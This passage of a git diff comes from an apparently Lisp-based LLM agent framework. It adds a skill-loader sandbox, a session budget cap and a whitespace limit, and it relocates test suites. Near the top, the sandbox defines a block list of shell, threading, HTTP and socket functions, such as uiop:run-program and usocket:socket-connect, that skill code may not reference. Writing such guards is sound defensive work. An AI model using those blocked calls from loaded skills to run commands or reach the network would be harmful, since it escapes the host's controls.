evaluates in the correct package." (log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c) (setf (skill-entry-status entry) :failed) nil)))) +(defvar *skill-restricted-symbols* + '("uiop:run-program" "uiop:shell" "uiop:run-shell-command" + "bt:make-thread" "bordeaux-threads:make-thread" + "dex:get" "dex:post" "dexador:get" "dexador:post" + "usocket:socket-connect" "usocket:socket-listen" + "hunchentoot:start" "hunchentoot:accept-connections") + "Symbol patterns blocked from skill source code at load time.") + +(defun skill-source-scan (code-string) + "Scans CODE-STRING for restricted symbol references. +Returns (values blocked-p matched-symbols)." + (let ((lower (string-downcase code-string)) + (matches nil)) + (dolist (pattern *skill-restricted-symbols*) + (when (search pattern lower) + (push pattern matches))) + (values (and matches t) (nreverse matches)))) + (defun load-skill-from-lisp (filepath) "Loads a .lisp skill file directly, filtering out in-package forms." (let* ((skill-base-name (pathname-name filepath)) @@ -243,6 +302,14 @@ declarations so embedded test code evaluates in the correct package." (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword))) (multiple-value-bind (valid-p err) (lisp-syntax-validate content) (unless valid-p (error err))) + ;; Pre-eval sandbox scan: block before any code executes + (multiple-value-bind (blocked-p blocked-syms) + (skill-source-scan content) + (when blocked-p + (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}" + skill-base-name blocked-syms) + (setf (skill-entry-status entry) :sandbox-blocked) + (return-from load-skill-from-lisp nil))) (unless (find-package pkg-name) (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg))) (let ((*read-eval* nil) (*package* (find-package pkg-name))) @@ -300,38 +367,3 @@ declarations so embedded test code evaluates in the correct package." (load-skill-from-lisp file) (load-skill-from-org file))) (log-message "LOADER: Boot Complete.")))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-boot-tests - (:use :cl :fiveam :passepartout) - (:export #:boot-suite)) - -(in-package :passepartout-boot-tests) - -(def-suite boot-suite :description "Verification of the Skill Engine loader") -(in-suite boot-suite) - -(test test-topological-sort-basic - "Contract 2: dependency ordering puts dependencies before dependents." - (let ((tmp-dir "/tmp/passepartout-boot-test/")) - (uiop:ensure-all-directories-exist (list tmp-dir)) - (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede) - (format out "#+DEPENDS_ON: skill-b-id~%")) - (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede) - (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%")) - (unwind-protect - (let ((sorted (passepartout::skill-topological-sort tmp-dir))) - (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal)) - (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal))) - (is (< pos-b pos-a)))) - (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) - -(test test-lisp-syntax-validate-valid - "Contract 1: valid Lisp code passes syntax validation." - (is (eq t (lisp-syntax-validate "(+ 1 2)")))) - -(test test-lisp-syntax-validate-invalid - "Contract 1: unbalanced Lisp code fails syntax validation." - (is (null (lisp-syntax-validate "(+ 1 2")))) diff --git a/lisp/core-transport.lisp b/lisp/core-transport.lisp index 4552a3b..304882c 100644 --- a/lisp/core-transport.lisp +++ b/lisp/core-transport.lisp @@ -1,3 +1,46 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-communication-tests + (:use :cl :fiveam :passepartout) + (:export #:communication-protocol-suite)) +(in-package :passepartout-communication-tests) + +(def-suite communication-protocol-suite :description "Communication Protocol Suite") +(in-suite communication-protocol-suite) + +(test test-framing + "Contract 1: frame-message produces correct hex length prefix." + (let* ((msg '(:type :EVENT :payload (:action :handshake))) + (framed (frame-message msg))) + (is (string= "00002C" (string-upcase (subseq framed 0 6)))))) + +(test test-framing-round-trip + "Contract 3: frame → read-frame preserves message identity." + (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui))) + (framed (frame-message msg)) + (unframed (read-framed-message (make-string-input-stream framed)))) + (is (equal msg unframed)))) + +(test test-framing-empty-message + "Contract 1: simple messages frame with valid hex length." + (let* ((msg '(:type :ping)) + (framed (frame-message msg))) + (is (> (length framed) 5)) + (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6))))) + +(test test-read-framed-message + "Contract 2: read-framed-message decodes a framed message correctly." + (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42))) + (framed (frame-message original)) + (decoded (read-framed-message (make-string-input-stream framed)))) + (is (equal original decoded)))) + +(test test-read-framed-message-eof + "Contract 2: read-framed-message returns :eof on incomplete stream." + (let ((decoded (read-framed-message (make-string-input-stream "000")))) + (is (eq :eof decoded)))) + (in-package :passepartout) (defun proto-get (plist key) @@ -40,7 +83,9 @@ (handler-case (progn (loop for char = (peek-char nil stream nil :eof) - while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return))) + for ws-count from 0 + while (and (not (eq char :eof)) (< ws-count 4096) + (member char '(#\Space #\Newline #\Tab #\Return))) do (read-char stream)) (let ((count (read-sequence length-buffer stream))) (if (< count 6) @@ -116,46 +161,3 @@ (defun validate-communication-protocol-schema (msg) "Backward-compatibility alias for protocol-schema-validate." (protocol-schema-validate msg)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-communication-tests - (:use :cl :fiveam :passepartout) - (:export #:communication-protocol-suite)) -(in-package :passepartout-communication-tests) - -(def-suite communication-protocol-suite :description "Communication Protocol Suite") -(in-suite communication-protocol-suite) - -(test test-framing - "Contract 1: frame-message produces correct hex length prefix." - (let* ((msg '(:type :EVENT :payload (:action :handshake))) - (framed (frame-message msg))) - (is (string= "00002C" (string-upcase (subseq framed 0 6)))))) - -(test test-framing-round-trip - "Contract 3: frame → read-frame preserves message identity." - (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui))) - (framed (frame-message msg)) - (unframed (read-framed-message (make-string-input-stream framed)))) - (is (equal msg unframed)))) - -(test test-framing-empty-message - "Contract 1: simple messages frame with valid hex length." - (let* ((msg '(:type :ping)) - (framed (frame-message msg))) - (is (> (length framed) 5)) - (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6))))) - -(test test-read-framed-message - "Contract 2: read-framed-message decodes a framed message correctly." - (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42))) - (framed (frame-message original)) - (decoded (read-framed-message (make-string-input-stream framed)))) - (is (equal original decoded)))) - -(test test-read-framed-message-eof - "Contract 2: read-framed-message returns :eof on incomplete stream." - (let ((decoded (read-framed-message (make-string-input-stream "000")))) - (is (eq :eof decoded)))) diff --git a/lisp/cost-tracker.lisp b/lisp/cost-tracker.lisp index 3d6333f..9b20184 100644 --- a/lisp/cost-tracker.lisp +++ b/lisp/cost-tracker.lisp @@ -1,3 +1,76 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-cost-tests + (:use :cl :fiveam :passepartout) + (:export #:cost-suite)) + +(in-package :passepartout-cost-tests) + +(def-suite cost-suite :description "Cost tracking and budget management") +(in-suite cost-suite) + +(test test-cost-track-call + "Contract 1: cost-track-call returns a positive number." + (cost-session-reset) + (let ((cost (cost-track-call :deepseek "hello world"))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-cost-session-total-accumulates + "Contract 2: session total grows with multiple calls." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (cost-track-call :deepseek "world") + (let ((total (cost-session-total))) + (is (> total 0.0)) + (is (= 2 (cost-session-calls))))) + +(test test-cost-session-reset + "Contract 3: cost-session-reset zeroes the accumulator." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (is (> (cost-session-total) 0.0)) + (cost-session-reset) + (is (= 0.0 (cost-session-total))) + (is (= 0 (cost-session-calls)))) + +(test test-cost-format-budget-status + "Contract 4: format-budget-status returns a string." + (cost-session-reset) + (cost-track-call :deepseek "hello world") + (let ((status (cost-format-budget-status 100))) + (is (stringp status)) + (is (search "$" status)))) + +(test test-cost-by-provider + "Contract: cost-by-provider returns per-provider breakdown." + (cost-session-reset) + (cost-track-call :deepseek "a") + (cost-track-call :groq "b") + (let ((by (cost-by-provider))) + (is (listp by)) + (is (assoc :deepseek by)) + (is (assoc :groq by)))) + +(test test-cost-track-no-response + "Contract 1: cost-track-call works without response-text." + (cost-session-reset) + (let ((cost (cost-track-call :deepseek "test"))) + (is (> cost 0.0)))) + +(test test-cost-session-summary + "Contract 5: cost-session-summary returns plist with total, calls, by-provider." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (cost-track-call :groq "world") + (let ((s (cost-session-summary))) + (is (> (getf s :total) 0.0)) + (is (= 2 (getf s :calls))) + (let ((by (getf s :by-provider))) + (is (assoc :deepseek by)) + (is (assoc :groq by))))) + (in-package :passepartout) (defvar *session-cost* (list :total 0.0 :calls 0 :by-provider nil) @@ -82,75 +155,36 @@ If DAILY-BUDGET is provided, includes percentage of budget used." "Track cost of a backend cascade call." (cost-track-call backend prompt-text response-text)) -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) +(defvar *session-budget* + (ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD"))) + "Maximum USD to spend in this session. NIL means no limit.") -(defpackage :passepartout-cost-tests - (:use :cl :fiveam :passepartout) - (:export #:cost-suite)) +(defun budget-remaining-usd () + "Returns remaining budget in USD, or a large sentinel if unlimited." + (if *session-budget* + (let ((remaining (- *session-budget* (cost-session-total)))) + (if (< remaining 0) 0.0 remaining)) + most-positive-double-float)) -(in-package :passepartout-cost-tests) +(defun budget-exhausted-p () + "T if the session budget is set and fully consumed." + (and *session-budget* (<= (budget-remaining-usd) 0.0))) -(def-suite cost-suite :description "Cost tracking and budget management") -(in-suite cost-suite) +(defun budget-estimate-call (prompt-text) + "Estimate the dollar cost of a pending LLM call from its prompt text. +Returns 0.0 if the tokenizer is not loaded (allows call through)." + (if (fboundp 'count-tokens) + (let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text ""))) + (cost (provider-token-cost (first *provider-cascade*) tokens))) + cost) + 0.0)) -(test test-cost-track-call - "Contract 1: cost-track-call returns a positive number." - (cost-session-reset) - (let ((cost (cost-track-call :deepseek "hello world"))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-cost-session-total-accumulates - "Contract 2: session total grows with multiple calls." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (cost-track-call :deepseek "world") - (let ((total (cost-session-total))) - (is (> total 0.0)) - (is (= 2 (cost-session-calls))))) - -(test test-cost-session-reset - "Contract 3: cost-session-reset zeroes the accumulator." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (is (> (cost-session-total) 0.0)) - (cost-session-reset) - (is (= 0.0 (cost-session-total))) - (is (= 0 (cost-session-calls)))) - -(test test-cost-format-budget-status - "Contract 4: format-budget-status returns a string." - (cost-session-reset) - (cost-track-call :deepseek "hello world") - (let ((status (cost-format-budget-status 100))) - (is (stringp status)) - (is (search "$" status)))) - -(test test-cost-by-provider - "Contract: cost-by-provider returns per-provider breakdown." - (cost-session-reset) - (cost-track-call :deepseek "a") - (cost-track-call :groq "b") - (let ((by (cost-by-provider))) - (is (listp by)) - (is (assoc :deepseek by)) - (is (assoc :groq by)))) - -(test test-cost-track-no-response - "Contract 1: cost-track-call works without response-text." - (cost-session-reset) - (let ((cost (cost-track-call :deepseek "test"))) - (is (> cost 0.0)))) - -(test test-cost-session-summary - "Contract 5: cost-session-summary returns plist with total, calls, by-provider." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (cost-track-call :groq "world") - (let ((s (cost-session-summary))) - (is (> (getf s :total) 0.0)) - (is (= 2 (getf s :calls))) - (let ((by (getf s :by-provider))) - (is (assoc :deepseek by)) - (is (assoc :groq by))))) +(defun budget-exhaustion-message () + "Returns a user-facing plist explaining that the budget is spent." + (let ((total (cost-session-total)) + (cap *session-budget*)) + (list :TYPE :REQUEST + :PAYLOAD (list :ACTION :MESSAGE + :TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue." + total cap) + :EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised.")))) diff --git a/lisp/neuro-provider.lisp b/lisp/neuro-provider.lisp index 06ae200..936f09b 100644 --- a/lisp/neuro-provider.lisp +++ b/lisp/neuro-provider.lisp @@ -1,3 +1,59 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-llm-gateway-tests + (:use :cl :passepartout) + (:export #:llm-gateway-suite)) + +(in-package :passepartout-llm-gateway-tests) + +(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend") +(fiveam:in-suite llm-gateway-suite) + +(fiveam:test test-provider-rejects-bad-keyword + "Contract 3: provider-config returns nil for unregistered provider." + (let ((config (provider-config :not-a-real-provider))) + (fiveam:is (null config)))) + +(fiveam:test test-provider-config-registered + "Contract 1: provider-config returns configuration plist for registered provider." + (let ((config (provider-config :openrouter))) + (fiveam:is (listp config)) + (fiveam:is (getf config :base-url)))) + +(fiveam:test test-provider-accepts-tools-parameter + "Contract 4: provider-openai-request accepts :tools parameter without error." + (let ((result (provider-openai-request "test" "system" :tools (list)))) + (fiveam:is (member (getf result :status) '(:success :error))))) + +;; ── v0.7.1 Streaming ── + +(fiveam:test test-parse-sse-line-data + "Contract 6: parse-sse-line extracts content from data: lines." + (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world"))) + (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}")))) + +(fiveam:test test-parse-sse-line-done + "Contract 6: parse-sse-line returns :done for [DONE]." + (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]")))) + +(fiveam:test test-parse-sse-line-nil + "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines." + (fiveam:is (null (passepartout::parse-sse-line ""))) + (fiveam:is (null (passepartout::parse-sse-line ":ok"))) + (fiveam:is (null (passepartout::parse-sse-line "event: ping")))) + +(fiveam:test test-provider-openai-stream-calls-callback + "Contract 5: provider-openai-stream calls callback with deltas and final empty string." + (let ((collected '())) + (flet ((collector (text) (push text collected))) + (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter)) + (let* ((reversed (nreverse collected)) + (last (car (last reversed)))) + (fiveam:is (stringp last)) + (fiveam:is (string= "" last)) + (fiveam:is (>= (length reversed) 2))))) + (in-package :passepartout) (defparameter *provider-configs* @@ -242,59 +298,3 @@ Calls CALLBACK with each delta string, then with '' to signal end-of-stream." (list :status :success)) (error (c) (list :status :error :message (format nil "~a Stream Failure: ~a" provider c))))))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-llm-gateway-tests - (:use :cl :passepartout) - (:export #:llm-gateway-suite)) - -(in-package :passepartout-llm-gateway-tests) - -(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend") -(fiveam:in-suite llm-gateway-suite) - -(fiveam:test test-provider-rejects-bad-keyword - "Contract 3: provider-config returns nil for unregistered provider." - (let ((config (provider-config :not-a-real-provider))) - (fiveam:is (null config)))) - -(fiveam:test test-provider-config-registered - "Contract 1: provider-config returns configuration plist for registered provider." - (let ((config (provider-config :openrouter))) - (fiveam:is (listp config)) - (fiveam:is (getf config :base-url)))) - -(fiveam:test test-provider-accepts-tools-parameter - "Contract 4: provider-openai-request accepts :tools parameter without error." - (let ((result (provider-openai-request "test" "system" :tools (list)))) - (fiveam:is (member (getf result :status) '(:success :error))))) - -;; ── v0.7.1 Streaming ── - -(fiveam:test test-parse-sse-line-data - "Contract 6: parse-sse-line extracts content from data: lines." - (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world"))) - (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}")))) - -(fiveam:test test-parse-sse-line-done - "Contract 6: parse-sse-line returns :done for [DONE]." - (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]")))) - -(fiveam:test test-parse-sse-line-nil - "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines." - (fiveam:is (null (passepartout::parse-sse-line ""))) - (fiveam:is (null (passepartout::parse-sse-line ":ok"))) - (fiveam:is (null (passepartout::parse-sse-line "event: ping")))) - -(fiveam:test test-provider-openai-stream-calls-callback - "Contract 5: provider-openai-stream calls callback with deltas and final empty string." - (let ((collected '())) - (flet ((collector (text) (push text collected))) - (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter)) - (let* ((reversed (nreverse collected)) - (last (car (last reversed)))) - (fiveam:is (stringp last)) - (fiveam:is (string= "" last)) - (fiveam:is (>= (length reversed) 2))))) diff --git a/lisp/programming-lisp.lisp b/lisp/programming-lisp.lisp index 70edfca..24344ad 100644 --- a/lisp/programming-lisp.lisp +++ b/lisp/programming-lisp.lisp @@ -1,3 +1,91 @@ +(defpackage :passepartout-utils-lisp-tests + (:use :cl :fiveam :passepartout) + (:export #:utils-lisp-suite)) + +(in-package :passepartout-utils-lisp-tests) + +(def-suite utils-lisp-suite + :description "Tests for the Lisp Validator structural, syntactic, and semantic gates") + +(in-suite utils-lisp-suite) + +(test structural-balanced + "Contract 1: balanced code returns T." + (is (eq t (passepartout:lisp-structural-check "(+ 1 2)")))) + +(test structural-unbalanced-open + "Contract 1: missing close paren returns nil + error." + (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2") + (is (null ok)) + (is (search "Reader Error" reason)))) + +(test structural-unbalanced-close + "Contract 1: extra close paren returns nil + error." + (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)") + (is (null ok)) + (is (search "Reader Error" reason)))) + +(test syntactic-valid + "Contract 2: valid syntax passes syntactic check." + (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)")))) + +(test semantic-safe + "Contract 3: safe code passes semantic check." + (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)")))) + +(test semantic-blocked-eval + "Contract 3: eval forms are blocked by semantic check." + (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))") + (is (null ok)) + (is (search "Unsafe" reason)))) + +(test unified-success + "Contract 4: valid code returns :success via lisp-validate." + (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t))) + (is (eq (getf result :status) :success)))) + +(test unified-failure + "Contract 4: invalid code returns :error via lisp-validate." + (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil))) + (is (eq (getf result :status) :error)))) + +(test eval-basic + "Contract 5: lisp-eval returns :success with captured result." + (let ((result (passepartout:lisp-eval "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (string= (getf result :result) "3")))) + +(test structural-extract + "Contract 6: lisp-extract finds and returns a named function." + (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))") + (extracted (passepartout:lisp-extract code "hello"))) + (is (not (null extracted))) + (let ((form (read-from-string extracted))) + (is (eq (car form) 'DEFUN)) + (is (eq (second form) 'HELLO))))) + +(test list-definitions + "Contract 7: lisp-list-definitions returns all defined names." + (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)")) + (let ((names (passepartout:lisp-list-definitions code))) + (is (member 'FOO names)) + (is (member 'BAR names)) + (is (member '*BAZ* names))))) + +(test structural-inject + "Contract 8: lisp-inject adds a form to a function body." + (let* ((code "(defun my-fun (x) (print x))") + (injected (passepartout:lisp-inject code "my-fun" "(finish-output)"))) + (let ((form (read-from-string injected))) + (is (equal (last form) '((FINISH-OUTPUT))))))) + +(test structural-slurp + "Contract 9: lisp-slurp appends a form to a function body." + (let* ((code "(defun work () (step-1))") + (slurped (passepartout:lisp-slurp code "work" "(step-2)"))) + (let ((form (read-from-string slurped))) + (is (equal (last form) '((STEP-2))))))) + (in-package :passepartout) (defun lisp-structural-check (code) @@ -156,91 +244,3 @@ (intern (string k) :keyword) k) collect v))) - -(defpackage :passepartout-utils-lisp-tests - (:use :cl :fiveam :passepartout) - (:export #:utils-lisp-suite)) - -(in-package :passepartout-utils-lisp-tests) - -(def-suite utils-lisp-suite - :description "Tests for the Lisp Validator structural, syntactic, and semantic gates") - -(in-suite utils-lisp-suite) - -(test structural-balanced - "Contract 1: balanced code returns T." - (is (eq t (passepartout:lisp-structural-check "(+ 1 2)")))) - -(test structural-unbalanced-open - "Contract 1: missing close paren returns nil + error." - (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2") - (is (null ok)) - (is (search "Reader Error" reason)))) - -(test structural-unbalanced-close - "Contract 1: extra close paren returns nil + error." - (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)") - (is (null ok)) - (is (search "Reader Error" reason)))) - -(test syntactic-valid - "Contract 2: valid syntax passes syntactic check." - (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)")))) - -(test semantic-safe - "Contract 3: safe code passes semantic check." - (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)")))) - -(test semantic-blocked-eval - "Contract 3: eval forms are blocked by semantic check." - (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))") - (is (null ok)) - (is (search "Unsafe" reason)))) - -(test unified-success - "Contract 4: valid code returns :success via lisp-validate." - (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t))) - (is (eq (getf result :status) :success)))) - -(test unified-failure - "Contract 4: invalid code returns :error via lisp-validate." - (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil))) - (is (eq (getf result :status) :error)))) - -(test eval-basic - "Contract 5: lisp-eval returns :success with captured result." - (let ((result (passepartout:lisp-eval "(+ 1 2)"))) - (is (eq (getf result :status) :success)) - (is (string= (getf result :result) "3")))) - -(test structural-extract - "Contract 6: lisp-extract finds and returns a named function." - (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))") - (extracted (passepartout:lisp-extract code "hello"))) - (is (not (null extracted))) - (let ((form (read-from-string extracted))) - (is (eq (car form) 'DEFUN)) - (is (eq (second form) 'HELLO))))) - -(test list-definitions - "Contract 7: lisp-list-definitions returns all defined names." - (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)")) - (let ((names (passepartout:lisp-list-definitions code))) - (is (member 'FOO names)) - (is (member 'BAR names)) - (is (member '*BAZ* names))))) - -(test structural-inject - "Contract 8: lisp-inject adds a form to a function body." - (let* ((code "(defun my-fun (x) (print x))") - (injected (passepartout:lisp-inject code "my-fun" "(finish-output)"))) - (let ((form (read-from-string injected))) - (is (equal (last form) '((FINISH-OUTPUT))))))) - -(test structural-slurp - "Contract 9: lisp-slurp appends a form to a function body." - (let* ((code "(defun work () (step-1))") - (slurped (passepartout:lisp-slurp code "work" "(step-2)"))) - (let ((form (read-from-string slurped))) - (is (equal (last form) '((STEP-2))))))) diff --git a/lisp/programming-literate.lisp b/lisp/programming-literate.lisp index 27ffbf9..e829944 100644 --- a/lisp/programming-literate.lisp +++ b/lisp/programming-literate.lisp @@ -1,3 +1,40 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-literate-tests + (:use :cl :fiveam :passepartout) + (:export #:literate-suite)) + +(in-package :passepartout-programming-literate-tests) + +(def-suite literate-suite :description "Verification of the Literate Programming skill") +(in-suite literate-suite) + +(test test-extract-lisp-blocks + "Contract 1: extracts lisp from #+begin_src blocks." + (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src")) + (extracted (literate-extract-lisp-blocks org-content))) + (let ((joined (format nil "~{~a~^~%~}" extracted))) + (is (search "(+ 1 2)" joined)) + (is (search "(+ 3 4)" joined))))) + +(test test-block-balance-check-valid + "Contract 2: balanced parens return T." + (is (eq t (literate-block-balance-check + (merge-pathnames "org/core-pipeline.org" + (uiop:ensure-directory-pathname + (uiop:getenv "PASSEPARTOUT_DATA_DIR"))))))) + +(test test-block-balance-check-missing-close + "Contract 2: unbalanced parens return non-T." + (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org"))))) + +(test test-tangle-sync-check + "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp." + (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp"))) + (is (or (eq t result) (stringp result)) + "Should return T or a mismatch description"))) + (in-package :passepartout) (defun literate-extract-lisp-blocks (content) @@ -64,40 +101,3 @@ contents of the Lisp file. Returns T if they match, or an error message." (defskill :passepartout-programming-literate :priority 300 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-literate-tests - (:use :cl :fiveam :passepartout) - (:export #:literate-suite)) - -(in-package :passepartout-programming-literate-tests) - -(def-suite literate-suite :description "Verification of the Literate Programming skill") -(in-suite literate-suite) - -(test test-extract-lisp-blocks - "Contract 1: extracts lisp from #+begin_src blocks." - (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src")) - (extracted (literate-extract-lisp-blocks org-content))) - (let ((joined (format nil "~{~a~^~%~}" extracted))) - (is (search "(+ 1 2)" joined)) - (is (search "(+ 3 4)" joined))))) - -(test test-block-balance-check-valid - "Contract 2: balanced parens return T." - (is (eq t (literate-block-balance-check - (merge-pathnames "org/core-pipeline.org" - (uiop:ensure-directory-pathname - (uiop:getenv "PASSEPARTOUT_DATA_DIR"))))))) - -(test test-block-balance-check-missing-close - "Contract 2: unbalanced parens return non-T." - (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org"))))) - -(test test-tangle-sync-check - "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp." - (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp"))) - (is (or (eq t result) (stringp result)) - "Should return T or a mismatch description"))) diff --git a/lisp/programming-org.lisp b/lisp/programming-org.lisp index 3d8b5ab..b1abeb5 100644 --- a/lisp/programming-org.lisp +++ b/lisp/programming-org.lisp @@ -1,3 +1,98 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ignore-errors (ql:quickload :fiveam :silent t))) + +(defpackage :passepartout-utils-org-tests + (:use :cl :fiveam :passepartout) + (:export #:utils-org-suite)) + +(in-package :passepartout-utils-org-tests) + +(def-suite utils-org-suite + :description "Tests for Utils Org skill.") + +(in-suite utils-org-suite) + +(test id-generation + "Contract 1: org-id-generate returns unique UUID strings." + (let ((id1 (org-id-generate)) + (id2 (org-id-generate))) + (is (plusp (length id1))) + (is (not (string= id1 id2))))) + +(test id-format + "Contract 2: org-id-format ensures 'id:' prefix." + (let ((formatted (org-id-format "abc12345"))) + (is (search "id:" formatted)))) + +(test property-setter + "Contract 3: org-property-set modifies a property on a headline." + (let ((ast (list :type :HEADLINE + :properties (list :ID "id:test123" :TITLE "Test") + :contents nil))) + (org-property-set ast "id:test123" :STATUS "ACTIVE") + (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE")))) + +(test todo-setter + "Contract 4: org-todo-set changes TODO state via org-property-set." + (let ((ast (list :type :HEADLINE + :properties (list :ID "id:todo001" :TITLE "Task") + :contents nil))) + (org-todo-set ast "id:todo001" "DONE") + (is (string= (getf (getf ast :properties) :TODO) "DONE")))) + +(test test-org-headline-add + "Contract 5: org-headline-add inserts a child headline." + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents nil))) + (is (eq t (org-headline-add ast "root" "New Child"))) + (is (= 1 (length (getf ast :contents)))) + (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE))))) + +(test test-org-headline-find-by-id + "Contract 6: org-headline-find-by-id finds a headline by ID." + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents + (list (list :type :HEADLINE + :properties (list :ID "child1" :TITLE "Child")) + (list :type :HEADLINE + :properties (list :ID "child2" :TITLE "Child 2")))))) + (let ((found (org-headline-find-by-id ast "child2"))) + (is (not (null found))) + (is (string= "Child 2" (getf (getf found :properties) :TITLE)))) + (let ((missing (org-headline-find-by-id ast "nonexistent"))) + (is (null missing) "Missing ID should return nil")))) + +(test test-org-id-get-create + "Contract 7: org-id-get-create returns existing ID or creates and sets a new one." + ;; Case 1: headline already has an ID + (let* ((ast (list :type :HEADLINE + :properties (list :ID "id:existing" :TITLE "Has ID") + :contents nil))) + (is (string= "id:existing" (org-id-get-create ast "id:existing")))) + ;; Case 2: headline exists by title but has no ID — one should be created + (let* ((ast (list :type :HEADLINE + :properties (list :TITLE "No ID") + :contents nil))) + (let ((new-id (org-id-get-create ast "No ID"))) + (is (stringp new-id)) + (is (uiop:string-prefix-p "id:" new-id)) + ;; Verify the ID was set on the headline + (is (string= new-id (getf (getf ast :properties) :ID))))) + ;; Case 3: idempotent — calling again returns same ID + (let* ((ast (list :type :HEADLINE + :properties (list :TITLE "Idempotent") + :contents nil))) + (let ((id1 (org-id-get-create ast "Idempotent")) + (id2 (org-id-get-create ast "Idempotent"))) + (is (string= id1 id2)))) + ;; Case 4: headline not found returns nil + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents nil))) + (is (null (org-id-get-create ast "nonexistent"))))) + (in-package :passepartout) (defun org-filetags-extract (content) @@ -260,98 +355,3 @@ AST format: 